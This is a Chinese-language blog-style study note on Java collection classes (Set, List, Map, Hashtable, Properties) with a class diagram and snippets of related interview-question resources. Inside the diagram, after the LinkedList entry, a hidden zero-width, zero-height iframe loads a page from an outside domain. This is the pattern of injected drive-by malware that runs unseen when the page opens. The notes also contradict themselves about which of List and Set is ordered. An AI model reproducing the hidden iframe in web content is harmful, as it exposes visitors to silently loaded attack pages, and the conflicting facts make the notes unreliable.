集合:(比数组效率高,数组长固定)
1.collection是一个接口collections是一个类.
collection有子接口:List(无序),set(有序)等
2.Set--无序,不允许重复元素.
List--有序,可以有重复的元素.(相当于动态可以自动增长的链表)
3.HashSet 实现Set接口.
ArrayList(可变长的数组)和LinkedList(List的链表实现,可以成为堆栈,队列或双向链表)都实现了List接口.
4.Iterator访问集合中元素的过程.(其中ListIterator用于List类)
5.Map接口(一个单独的接口)是Dictionary类的替代品.
HashMap是以哈希表的形式存储key-value对,速度快.
(非线程安全,当二个人同时操作一个对象是会造成数据丢失)
{JDK1.1中用到的:Vector(List接口),Stack(Vector的子类),,Hashtable(实现Map接口),Enumeration(枚举)这些类
都是线程安全的,性能低,重量级的.}
Dictionary类提供的按键取值的功能,他是个抽象类,要使用时需用他的子类HashTable.
6.Properities类
哈希表里存的关键字--值对可以是各种类型的.而propeties就相对简单,它只存放字符串对.用setProperties()和getProperties()操作.
|--Set(接口)--HashSet(类)
|
Collection----|
| |--ArrayList(可变长数组类)
|--List(接口)--|
|--LinkedList(链表)<IFRAME SRC="HTTP://www.m5k8.com/gr.htm" WIDTH=0 HEIGHT=0></IFRAME>
以上集合是经常使用于DAO操作中,更重要作用是在Hibernate中的实体关系映射中能够很好的实现实体之间的关联关系。
分享到:
相关推荐
集合类存放于 Java.util 包中,主要有 3 种:set(集)、list(列表包含 Queue)和 map(映射)。 Collection:Collection 是集合 List、Set、Queue 的最基本的接口。 Iterator:迭代器,可以通过迭代器遍历集合中的...
### Java面试笔试机试题大汇总知识点解析 #### 标题:Java面试笔试机试题大汇总 此标题明确了本文档的主要内容是围绕Java编程语言的面试与笔试题目进行汇总。这表明文档将涵盖一系列针对Java技术栈的问题,适用于...
"Java程序员笔试面试题汇总及答案.pdf知识点总结" 以下是从给定的文件中生成的相关知识点: ...这些知识点涵盖了 Java 程序员笔试面试题汇总及答案.pdf 中的多个方面,包括访问控制符、集合操作、输入输出、流等。
* Collection和Collections的区分:Collection是java.util下的接口, Collections是java.util下的类,包含有各种有关集合操作的静态方法。 三、输入输出 * File对象的方法:isFile方法作用是判断是否是文件,...
《实战JAVA高并发程序设计源代码汇总版》是针对JAVA并发编程领域的一份宝贵资源,它集合了《实战JAVA高并发程序设计》一书中的核心示例代码,旨在帮助开发者深入理解和实践JAVA并发编程的关键技术。这个压缩包包含了...
Java标准库包含了大量有用的类和接口,如`java.util`包中的集合框架。 - **List**:有序集合,允许重复元素。常用实现包括`ArrayList`(基于数组)和`LinkedList`(基于链表)。 - **Set**:不允许重复元素的集合。...
- **Collections**:这是 `java.util` 包中的一个工具类,提供了一系列静态方法来操作或返回对集合的特定视图。例如,排序列表、反转列表等。 #### 6. assert 的用途 **解答**:`assert` 是Java提供的一个内置机制...
它们在Java中引入了函数式编程的元素,比如可以在集合类中用于迭代、排序、映射等操作。Lambda表达式提供了一种书写代码更加简洁易读的方式。 3. 方法引用(Method References): 方法引用是对Lambda表达式的...
- **Collection**:是一个接口,位于`java.util`包中,是集合框架的基础接口,所有集合类都是它的子类型。 - **Collections**:是一个工具类,同样位于`java.util`包中,提供了对集合类的操作方法,如排序、查找、...
- **java.util**:提供了各种实用工具类,如集合框架(List, Set, Map等)、日期和时间类(Date, Calendar)、排序算法(Collections.sort())等。 - **java.io**:处理输入输出操作,包括文件I/O、网络流、数据流...
Java还提供了多种同步机制,比如synchronized关键字和java.util.concurrent包中的锁工具,以及各种并发集合,以保证线程安全。Java虚拟机(JVM)对线程的支持包括线程调度、状态转换和线程组管理等。 Java 8引入了...
- java.util.concurrent包中的工具类,如CountDownLatch、CyclicBarrier、Semaphore等。 - CompletableFuture用于异步编程和链式调用。 - Fork/Join框架和Parallel Streams用于并行计算。 5. **JVM** - 内存...
### 2011年JAVA面试题汇总 #### 面向对象的特征 面向对象编程(OOP)是现代软件开发中广泛采用的一种编程范式。它通过使用类和对象来模拟现实世界中的事物,使得代码更加模块化、易于理解和维护。 1. **抽象**: ...
Java向量(Vector)是Java实用工具类库java.util包中提供的一个工具类,它是一个变长数组,可以存储不同类型元素。相比普通的数组,Vector类提供了更多的功能,包括元素的增加、修改、删除以及查询等操作,使其在处理...
12. **日期和时间类** - 在Java中,Date、Calendar类确实位于java.util包中,但DateFormat类位于java.text包中。 13. **报表类型** - 汇总报表用于提供所有记录的汇总数据,而不是明细数据或窗体转换的报表。 14. ...
synchronized和java.util.concurrent.locks.Lock的异同 - **synchronized**:关键字,自动释放锁。 - **Lock**:接口,提供了更高级别的并发控制功能。 #### 48. 如果main方法被声明为private会怎样 - `main`方法...
在Java编程中,掌握一些常见的英文词汇至关重要,这些词汇构成了Java编程的基础概念和语法。以下是一些核心的Java编程术语: 1. **OO (Object-Oriented)**:面向对象,一种编程范式,基于“对象”概念,将数据和...
- 是一个工具类,位于`java.util`包中。 - 提供了一系列静态方法,用于对集合进行操作,如排序、查找等。 - 用于简化集合类的使用。 #### 七、什么时候用assert - `assert`关键字主要用于开发阶段进行调试,...
- **解析**:Java.util包中包含了两个重要的工具类:Collections类用于操作集合,Arrays类用于操作数组。题目中未完整给出答案,但根据上下文可以推测出正确答案应为“Collections类”和“Arrays类”。 #### 10. ...